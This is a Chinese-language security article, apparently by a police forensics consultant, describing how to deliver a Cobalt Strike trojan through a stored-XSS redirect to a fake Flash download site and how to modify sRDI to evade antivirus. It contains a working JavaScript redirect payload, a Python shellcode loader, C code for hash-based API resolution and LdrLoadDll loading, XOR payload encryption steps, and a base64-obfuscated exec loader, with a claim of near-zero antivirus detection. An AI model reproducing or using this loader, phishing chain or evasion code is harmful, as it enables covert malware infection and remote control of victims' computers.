陈殷,现任御数维安技术主管,呼和浩特市公安局网络安全专家,人民邮电出版社IT图书顾问,工业和信息化部教育考试中心讲师,华中国际集团网络安全顾问。长期从事电子数据取证、安全研究,曾于ISC、FCIS等多个安全行业会议发表议题。
信息技术迅猛发展和网络犯罪活动不断升级,新型网络犯罪的应对技术亦在持续演进,从旧有的漏洞利用手法已逐渐演化为更为复杂的木马钓鱼攻击手段。经过长期的实践经验积累,我们观察到犯罪团伙已经能够实施高度定制化的防御策略。
面对高交互性的非法运营平台,我们推荐采用漏洞利用与钓鱼木马结合的方式进行数据取证。本文旨在介绍sRDI技术,该技术为一线侦查和办案人员在面临基于360、火绒、卡巴斯基、Norton和ESET等主流杀毒软件防护时,提供一种有效的木马样本代码层面免杀方案。
1. 利用Cobalt Strike生成钓鱼木马
Cobalt Strike是一款知名的C2工具,其广泛应用于执行社会工程学攻击、横向移动、持久化访问、远程控制以及数据窃取等多种安全测试任务。
可以在菜单栏中点击“Attacks”按钮,再在Packages中点击“Payload Generator”生成不同类型的木马。
其中的Payload Generator可以生成shllcode,其为一种轻量级、独立的机器代码片段,通常用于在目标系统上执行特定的任务,如下载和运行恶意程序。
此处选择Windows EXE类型生成相应的运行程序。
2. 结合木马伪造FLash网站
在对某些非法站点侦查的过程中,如果发现某功能中可以插入恶意代码,如存在存储型XSS漏洞。需要提前准备一份Flash网站克隆源码(该类源码可以在github中进行搜索获取)并将其部署在我们VPS上,并按上面的步骤生成木马后门并捆绑flash的安装程序。
首先,下载Flash官方安装包,选中后门与Flash官方安装包,右键选择:添加到压缩文件。
其次,创建自解压格式压缩文件,修改压缩文件名使其看起来更可信,同时在高级自解压选项窗口中选择:常规-解压路径放到windows开机自启动目录:
C:\ProgramData\Microsoft\Windows\StartMenu\Programs\Startup
接下来为了增加可信度,修改生成后的文件图标:
最后模拟伪造Flash网站的VPS服务器,将下载的xss_flash目录中的文件全部移到/var/www/html,修改下载软件的地址为前面构造的后门软件。
修改version.js中弹窗的指向伪造Flash网站地址为VPS的地址,内容如下:
window.alert = function(name){
var iframe = document. createElement("IFRAME");
iframe.style.display="none";
iframe.setAttribute("src",'data:text/plain,');
document. documentElement.appendChild(iframe);
window.frames [0].window.alert(name);
iframe.parentNode.removeChild(iframe);
}
alert( "您的FLASH版本过低,尝试升级后访问该页面! ");
window. location.href="http://192.168.1.3";
在访问该漏洞页面后,浏览器会提示版本过低,并会跳转到Flash网站钓鱼地址为:http://192.168.1.3。
如图所示,在点击确定后则会自动跳转到VPS的钓鱼网址,诱导用户下载,此时下载的Flash则为我们生成好的木马文件。
下载运行后即可成功地将目标电脑的权限转移至C2终端上。在某次针对传销组织的行动中使用该技术成功获得了相关电脑机器的权限,如图所示:
然而,在当前情境下,木马程序在安装有杀毒软件的终端设备上易于被侦测到,为确保其有效运行,必须实施对杀毒软件的防护绕过。接下来将详细阐述sRDI技术的应用以绕过杀软防护。
Shellcode Reflective DLL Injection(sRDI)是一种高级持久性威胁(APT)常用的技术,旨在目标系统上执行恶意代码。该技术结合了Shellcode和反射式DLL注入,能够绕过传统的安全防护措施。之前已经介绍过了shellcode的概念。反射式DLL注入是一种将动态链接库(DLL)直接加载到目标进程内存中的技术,无需将其写入磁盘。该技术通过操作系统的内存管理机制,将恶意DLL注入到合法进程的地址空间,绕过许多基于文件的安全检测手段。
sRDI技术结合了Shellcode和反射式DLL注入两种方法,能够在加载DLL时利用Shellcode将其注入到目标进程中。Shellcode首先在目标进程内分配内存,并将恶意DLL加载到该内存中。然后,通过操作系统提供的API函数,Shellcode将DLL的入口点传递给目标进程,从而实现恶意代码的执行。
假设a.dll是一个广泛应用于系统中的扫描工具fscan。通过修改a.dll,使得调用Sum函数时会跳转至fscan原有的main函数。为了将a.dll转换为Shellcode并执行Sum函数,可以使用以下指令:
Python ConvertToShellcode.py -f Sum a.dll
这条指令将利用Python脚本ConvertToShellcode.py,将a.dll中的Sum函数转换为Shellcode形式,从而在目标系统上执行Sum函数的功能。
注:本次研究中涉及的辅助脚本来自https://github.com/monoxgas/sRDI
接下来,我们需要编写一个Shellcode,实现以下功能:将恶意DLL加载到内存中并调用其导出函数,触发恶意行为。为了在Windows环境中实现这一目标,我们可以使用Python编写一个脚本。
该脚本利用ctypes模块调用系统API,依次分配内存空间、将Shellcode写入内存、修改内存保护属性以允许执行,并最终创建线程执行Shellcode。
import ctypes
from ctypes import wintypes
import sys
with open(sys.argv[1],"rb") as file:
data = (ctypes.c_char * 1)(0xC3)
bytes_written = ctypes.c_int(0)
WriteProcessMemory = ctypes.windll.kernel32.WriteProcessMemory
WriteProcessMemory.argtypes = [wintypes.HANDLE, wintypes.LPVOID, wintypes.LPCVOID, ctypes.c_size_t, wintypes.LPVOID]
WriteProcessMemory.restype = wintypes.BOOL
WriteProcessMemory(-1, ctypes.windll.kernel32.Sleep, data, ctypes.sizeof(data), ctypes.byref(bytes_written))
shellcode = file.read()
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ctypes.windll.kernel32.RtlCopyMemory.argtypes = ( ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t )
ctypes.windll.kernel32.CreateThread.argtypes = ( ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int) )
space = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x04))
buff = ( ctypes.c_char * len(shellcode) ).from_buffer_copy( shellcode )
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(space),buff,ctypes.c_int(len(shellcode)))
old = ctypes.c_long(1)
ctypes.windll.kernel32.VirtualProtect(ctypes.c_void_p(space),ctypes.c_int(len(shellcode)) ,ctypes.c_int(0x20), ctypes.byref(old))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_void_p(space),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
在这段代码中,首先从指定的文件中读取Shellcode。然后使用VirtualAlloc函数分配内存空间,并使用memmove将Shellcode写入分配的内存区域。接着使用CreateThread函数创建一个新线程,从而执行Shellcode。最后使用WaitForSingleObject等待线程执行完毕,并通过VirtualFree释放分配的内存空间。
以上就是利用Shellcode在目标系统上执行恶意代码,实现通过反射式DLL注入加载恶意DLL并执行其功能的过程。
sRDI技术已经公开了一段时间,未经修改的情况下容易被防病毒软件所检测和识别。在对代码进行分析时,可以发现使用ConvertToShellcode.py将DLL转换为sRDI时,程序会将传入的参数处理后传递给ConvertToShellcode函数。
使用ConvertToShellcode.py时,有两个参数被默认硬编码在代码中,分别是“--function-name=SayHello”和“--user-data=dave”。这意味着在执行转换时,会默认将函数名设置为“SayHello”,用户数据设置为“dave”。这种硬编码的方式可能使得生成的Shellcode在实际应用中具有固定的特征,增加了被检测和阻止的风险。
import argparse
from ShellcodeRDI import *
__version__ = '1.2'
def main():
parser = argparse.ArgumentParser(description='RDI Shellcode Converter', conflict_handler='resolve')
parser.add_argument('-v', '--version', action='version', version='%(prog)s Version: ' + __version__)
parser.add_argument('input_dll', help='DLL to convert to shellcode')
parser.add_argument('-f', '--function-name', dest='function_name', help='The function to call after DllMain', default='SayHello')
parser.add_argument('-u', '--user-data', dest='user_data', help='Data to pass to the target function', default='dave')
parser.add_argument('-c', '--clear-header', dest='clear_header', action='store_true', help='Clear the PE header on load')
parser.add_argument('-b', '--pass-shellcode-base', dest='pass_shellcode_base', action='store_true', help='Pass shellcode base address to exported function')
parser.add_argument('-i', '--obfuscate-imports', dest='obfuscate_imports', action='store_true', help='Randomize import dependency load order', default=False)
parser.add_argument('-d', '--import-delay', dest='import_delay', help='Number of seconds to pause between loading imports', type=int, default=0)
parser.add_argument('-of', '--output-format', dest='output_format', help='Output format of the shellcode (e.g. raw,string)', type=str, default="raw")
arguments = parser.parse_args()
input_dll = arguments.input_dll
output_bin = input_dll.replace('.dll', '.bin')
dll = open(arguments.input_dll, 'rb').read()
flags = 0
if arguments.clear_header:
flags |= 0x1
if arguments.obfuscate_imports:
flags = flags | 0x4 | arguments.import_delay << 16
if arguments.pass_shellcode_base:
flags |= 0x8
converted_dll = ConvertToShellcode(dll, HashFunctionName(arguments.function_name), arguments.user_data.encode(), flags)
if arguments.output_format=="raw":
print('Creating Shellcode: {}'.format(output_bin))
with open(output_bin, 'wb') as f:
f.write(converted_dll)
elif arguments.output_format=="string":
output_bin = input_dll.replace('.dll', '.txt')
converted_dll_text ="".join([r"\x{}".format(str(format(c,'02x'))) for c in converted_dll])
print('Creating Shellcode: {}'.format(output_bin))
with open(output_bin, 'w') as f:
f.write(converted_dll_text)
if __name__ == '__main__':
main()
继续跟进ShellcodeRDI.py中的ConvertToShellcode函数,可以观察到如果使用默认的rdiShellcode32/64,实际上这也是一种特征,具体如图所示。针对这种情况,需要进行相应的修改。这里需要注意,rdiShellcode32/64是从sRDI文件夹中的ShellcodeRDI编译生成的Shellcode代码衍生而来。
在ShellcodeRDI.py文件中,有一段汇编代码,其主要功能是为rdiShllcode32/64的shellcode分配参数。后续过程中,可以利用花指令对这段汇编代码进行混淆处理。
在sRDI文件中的ShellcodeRDI.sln中,审计ShellcodeRDI项目,可知其入口点为LoadDLL。LoadDLL函数接收6个参数,并返回一个指针。在LoadDLL函数的188行至199行之间,存在一些字符串,这是其第三个特征,需进行相应修改。
在217行至218行,通过调用GetProcAddressWithHash函数利用哈希值获取函数地址。此处存在两个程序所使用的默认哈希值,需要对其进行调整。
在228行至247行,原代码调用ntdll.dll中的LdrGetProcAddress函数以获取函数地址。现将此部分修改为运用GetProcAddressWithHash函数,通过哈希方式来获取函数地址。
在409行代码中,通过调用pLoadLibraryA函数加载DLL,并获取其地址,随后调用pLdrGetProcAddress函数,依据名称获取修复IAT表的函数地址。此过程亦可采用ntdll.dll中的LdrLoadDll函数替代。
针对生成的a.bin文件,其前端为shellcode,后端为原始payload。需要对其进行修改,使其在动态解密后呈现为目标payload。
采用如下脚本将字符串转换为哈希值,在此示例中,将ROTR32算法的密钥更改为17,因此需要在ShellcodeRDI中相应地进行调整。
python FunctionToHash.py NTDLL.DLL KERNEL32.DLL LdrGetProcedureAddress LdrLoadDll LoadLibraryA VirtualAlloc VirtualProtect VirtualFree RtlAddFunctionTable FlushInstructionCache
import binascii
import sys
ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
if len(sys.argv) >= 2:
print("\nUsage:\nFunctionToHash.py [Module] [Function]\nFunctionToHash.py kernel32.dll CreateProcessA\n\nOR\n\nFunctionToHash.py [Function]\nFunctionToHash.py ExportedFunction")
exit()
for i in sys.argv[1:]:
function = i.encode() + b'\x00'
functionHash = 0
for b in function:
#print("0x{0:08X}".format(functionHash))
functionHash = ror(functionHash, 17, 32)
functionHash += b
print("Name: {name} Value: 0x{functionHash:08X}".format(name=i,functionHash=functionHash))
执行效果如图所示:
针对原有的GetProcAddressWithHash功能,现将其拆分为两个函数:GetModuleAddressWithHash和GetProcAddressWithHash。GetModuleAddressWithHash负责定位并返回Dll模块的基地址,而GetProcAddressWithHash则通过深入解析PE结构中的导出表,精确获取所需函数的地址,并予以返回。
PVOID GetModuleAddressWithHash(DWORD dwModuleHash) {
PPEB PebAddress;
PMY_PEB_LDR_DATA pLdr;
PMY_LDR_DATA_TABLE_ENTRY pDataTableEntry;
PLIST_ENTRY pNextModule;
PVOID pModuleBase;
PIMAGE_NT_HEADERS pNTHeader;
DWORD dwExportDirRVA;
PIMAGE_EXPORT_DIRECTORY pExportDir;
UNICODE_STRING BaseDllName;
DWORD ModuleHash;
PCSTR pTempChar;
DWORD i;
#if defined(_WIN64)
PebAddress = (PPEB)__readgsqword(0x60);
#else
PebAddress = (PPEB)__readfsdword(0x30);
#endif
pLdr = (PMY_PEB_LDR_DATA)PebAddress->Ldr;
pNextModule = pLdr->InLoadOrderModuleList.Flink;
pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY)pNextModule;
while (pDataTableEntry->DllBase != NULL)
{
ModuleHash = 0;
pModuleBase = pDataTableEntry->DllBase;
BaseDllName = pDataTableEntry->BaseDllName;
pNTHeader = (PIMAGE_NT_HEADERS)((ULONG_PTR)pModuleBase + ((PIMAGE_DOS_HEADER)pModuleBase)->e_lfanew);
dwExportDirRVA = pNTHeader->OptionalHeader.DataDirectory[0].VirtualAddress;
// Get the next loaded module entry
pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY)pDataTableEntry->InLoadOrderLinks.Flink;
// If the current module does not export any functions, move on to the next module.
if (dwExportDirRVA == 0)
{
continue;
}
// Calculate the module hash
for (i = 0; i < BaseDllName.MaximumLength / 2; i++)
{
pTempChar = ((PCSTR)BaseDllName.Buffer + i * 2);
ModuleHash = ROTR32(ModuleHash, HASH_KEY);
if (*pTempChar >= 0x61)
{
ModuleHash += *pTempChar - 0x20;
}
else
{
ModuleHash += *pTempChar;
}
}
if (ModuleHash == dwModuleHash) {
return pModuleBase;
}
}
return NULL;
}
HMODULE GetProcAddressWithHash( DWORD dwModuleFunctionHash, PVOID pModuleBase)
{
PIMAGE_NT_HEADERS pNTHeader;
DWORD dwExportDirRVA;
PIMAGE_EXPORT_DIRECTORY pExportDir;
DWORD dwNumFunctions;
USHORT usOrdinalTableIndex;
PDWORD pdwFunctionNameBase;
PCSTR pFunctionName;
DWORD dwFunctionHash;
PCSTR pTempChar;
DWORD i;
pNTHeader = (PIMAGE_NT_HEADERS) ((ULONG_PTR) pModuleBase + ((PIMAGE_DOS_HEADER) pModuleBase)->e_lfanew);
dwExportDirRVA = pNTHeader->OptionalHeader.DataDirectory[0].VirtualAddress;
pExportDir = (PIMAGE_EXPORT_DIRECTORY) ((ULONG_PTR) pModuleBase + dwExportDirRVA);
// We'll assume the function we are matching isn't the very first or last for safety
dwNumFunctions = pExportDir->NumberOfNames - 1;
pdwFunctionNameBase = (PDWORD) ((PCHAR) pModuleBase + pExportDir->AddressOfNames + (dwNumFunctions * sizeof(DWORD)));
// We'll also iterate in reverse to switch things up
for (i = dwNumFunctions; i > 1; i--)
{
dwFunctionHash = 0;
pFunctionName = (PCSTR) (*pdwFunctionNameBase + (ULONG_PTR) pModuleBase);
pdwFunctionNameBase--;
pTempChar = pFunctionName;
do
{
dwFunctionHash = ROTR32( dwFunctionHash, HASH_KEY);
dwFunctionHash += *pTempChar;
pTempChar++;
} while (*(pTempChar - 1) != 0);
if (dwFunctionHash == dwModuleFunctionHash)
{
usOrdinalTableIndex = *(PUSHORT)(((ULONG_PTR) pModuleBase + pExportDir->AddressOfNameOrdinals) + (2 * i));
return (HMODULE)((ULONG_PTR)pModuleBase + *(PDWORD)(((ULONG_PTR)pModuleBase + pExportDir->AddressOfFunctions) + (4 * usOrdinalTableIndex)));
}
}
return NULL;
}
接下来,我们需要调整代码,使得rdiShellcode在运行时进行解密。可以先使用VirtualAlloc函数分配可读可写的内存空间,然后将加密后的pbModule_e数据进行异或0x13操作后存储到pbModule中。可以在LoadDLL函数中添加一个DWORD类型的参数dwModuleLen,用于表示加密数据的长度,以便后续申请内存和解密操作。
针对x64的fastcall调用约定,需要对ConvertToShellcode函数进行相应调整,以优化代码构造参数。
sub rsp,0x40
mov dword ptr [rsp+0x30],<dllByteLen>
mov dword ptr [rsp+0x28],<Flags>
在最后使用异或加密dllBytes的数据,将其保存到xordllBytes中。
在处理dllBytes中的Dos头时,需减去4以避免影响e_lfanew的值。这是因为e_lfanew在程序中用于获取NT头的信息,因此需保持其完整性。
在将a.dll转换为a.bin之后,原始的dll数据已无法直接识别。为实现数据解密,需通过运行shellcode在内存中进行动态解密。
在修复IAT表的过程中,我们替换了原先使用LoadLibrary获取Dll基地址的方法,转而采用NTDLL.dll中的LdrLoadDll。
为实现此目的,笔者在此编写了如下代码:鉴于通过IAT表获取的DLL名称采用ANSI编码,而LdrLoadDll所需的是Unicode编码的字符串,因此可以运用KCharStringToWCharString函数对字符串进行转换。
SIZE_T KCharStringToWCharString(PWCHAR Destination, PCHAR Source, SIZE_T MaximumAllowed) {
INT Length = MaximumAllowed;
while (--Length >= 0) {
if (!(*Destination++ = (WCHAR)*Source++))
return MaximumAllowed - Length - 1;
}
return MaximumAllowed - Length;
}
#pragma optimize( "", off )
PVOID KLoadLibrary(LPSTR ModuleName) {
UNICODE_STRING uString = { 0 };
WCHAR ModuleNameW[MAX_PATH] = { 0 };
HMODULE Module = NULL;
KCharStringToWCharString(ModuleNameW, ModuleName, _strlen(ModuleName));
if (ModuleNameW) {
USHORT DestSize = _wcslen(ModuleNameW) * sizeof(WCHAR);
uString.Length = DestSize;
uString.MaximumLength = DestSize + sizeof(WCHAR);
uString.Buffer = ModuleNameW;
}
LDRLOADDLL pLdrLoadDll = (LDRLOADDLL)GetProcAddressWithHash(LDRLOADDLL_HASH, GetModuleAddressWithHash(NTDLL_DLL_HASH));
if (NT_SUCCESS(pLdrLoadDll(NULL, 0, &uString, &Module)))
return Module;
else
return NULL;
}
#pragma optimize( "", on )
在修复IAT头时,建议使用KLoadLibrary函数获取DLL句柄,以简化流程。然而,还存在进一步优化的可能:
1.在执行前先检查DLL是否已加载,避免不必要的LdrLoadDll调用,改为利用GetModuleAddressWithHash获取DLL地址。
2.参考DarkLoadlibrary的实现方式,避免直接使用LdrLoadDll,提升加载DLL的效率和隐蔽性。
3.在代码第326行,推荐使用GetProcAddressWithHash而非LdrGetProcAddress,以提高函数地址获取的效率和安全性。
4.将shellcode中原本依赖于KERNEL32.DLL API的部分,替换为通过NTDLL.DLL的间接系统调用执行,从而增强执行安全性和隐蔽性。
使用EncodeBlobs.py对Payload进行更新
EncodeBlobs.py ./sRDI-master
python ConvertToShellcode.py -f Sum a.dll
测试Shellcode是否正常运行
python testload.py a.bin
将生成后的木马进行以上步骤的修改,提交至VirusTotal进行分析,结果表明,62款杀软中仅有Avast与AVG两款杀毒软件能够检测到该文件为木马文件。
如果要实现0检测的话,我们需要对bootstrap进行花指令混淆。经过测试,只需要添加几个nop 指令即可绕过。
以下是将Python代码打包成exe的步骤,并将a.bin文件放置在runsc.exe相同目录中。鉴于SHELLOCDE具有不可检测性,我们只需关注runsc.exe的免杀处理。
pyinstaller.exe -F runsc.py
import base64
import ctypes
from ctypes import wintypes
exec(base64.b64decode("Cg0pMS0gLGVsZG5haCh0Y2VqYk9lbGduaVNyb0Z0aWFXLjIzbGVucmVrLmxsZG5pdy5zZXB5dGMgICAgCg0pKSkwKHRuaV9jLnNlcHl0YyhyZXRuaW9wLnNlcHl0YywpMCh0bmlfYy5zZXB5dGMsKTAodG5pX2Muc2VweXRjLCllY2FwcyhwX2Rpb3ZfYy5zZXB5dGMsKTAodG5pX2Muc2VweXRjLCkwKHRuaV9jLnNlcHl0YyhkYWVyaFRldGFlckMuMjNsZW5yZWsubGxkbml3LnNlcHl0YyA9IGVsZG5haCAgICAKDSkpZGxvKGZlcnliLnNlcHl0YyAsKTAyeDAodG5pX2Muc2VweXRjLCApKWVkb2NsbGVocyhuZWwodG5pX2Muc2VweXRjLCllY2FwcyhwX2Rpb3ZfYy5zZXB5dGModGNldG9yUGxhdXRyaVYuMjNsZW5yZWsubGxkbml3LnNlcHl0YyAgICAKDSkxKGdub2xfYy5zZXB5dGMgPSBkbG8gICAgCg0pKSllZG9jbGxlaHMobmVsKHRuaV9jLnNlcHl0YyxmZnViLCllY2FwcyhwX2Rpb3ZfYy5zZXB5dGMoeXJvbWVNZXZvTWx0Ui4yM2xlbnJlay5sbGRuaXcuc2VweXRjICAgIAoNKSBlZG9jbGxlaHMgKHlwb2NfcmVmZnViX21vcmYuKSApZWRvY2xsZWhzKG5lbCAqIHJhaGNfYy5zZXB5dGMgKCA9IGZmdWIgICAgCg0pKTQweDAodG5pX2Muc2VweXRjLCkwMDAzeDAodG5pX2Muc2VweXRjLCkpZWRvY2xsZWhzKG5lbCh0bmlfYy5zZXB5dGMsKTAodG5pX2Muc2VweXRjKGNvbGxBbGF1dHJpVi4yM2xlbnJlay5sbGRuaXcuc2VweXRjID0gZWNhcHMgICAgCg0pICl0bmlfYy5zZXB5dGMoUkVUTklPUC5zZXB5dGMgLHRuaV9jLnNlcHl0YyAsdG5pX2Muc2VweXRjICxwX2Rpb3ZfYy5zZXB5dGMgLHRuaV9jLnNlcHl0YyAsdG5pX2Muc2VweXRjICggPSBzZXB5dGdyYS5kYWVyaFRldGFlckMuMjNsZW5yZWsubGxkbml3LnNlcHl0YyAgICAKDSkgdF9lemlzX2Muc2VweXRjICxwX2Rpb3ZfYy5zZXB5dGMgLHBfZGlvdl9jLnNlcHl0YyAoID0gc2VweXRncmEueXJvbWVNeXBvQ2x0Ui4yM2xlbnJlay5sbGRuaXcuc2VweXRjICAgIAoNcF9kaW92X2Muc2VweXRjID0gZXB5dHNlci5jb2xsQWxhdXRyaVYuMjNsZW5yZWsubGxkbml3LnNlcHl0YyAgICAKDSkoZGFlci5lbGlmID0gZWRvY2xsZWhzICAgIAoNOmVsaWYgc2EgKSJiciIsIm5pYi5hIihuZXBvIGh0aXc=").decode()[::-1])
===================================
扫码添加安仔微信,邀请进群
与行业专家深入交流探讨~
往期推荐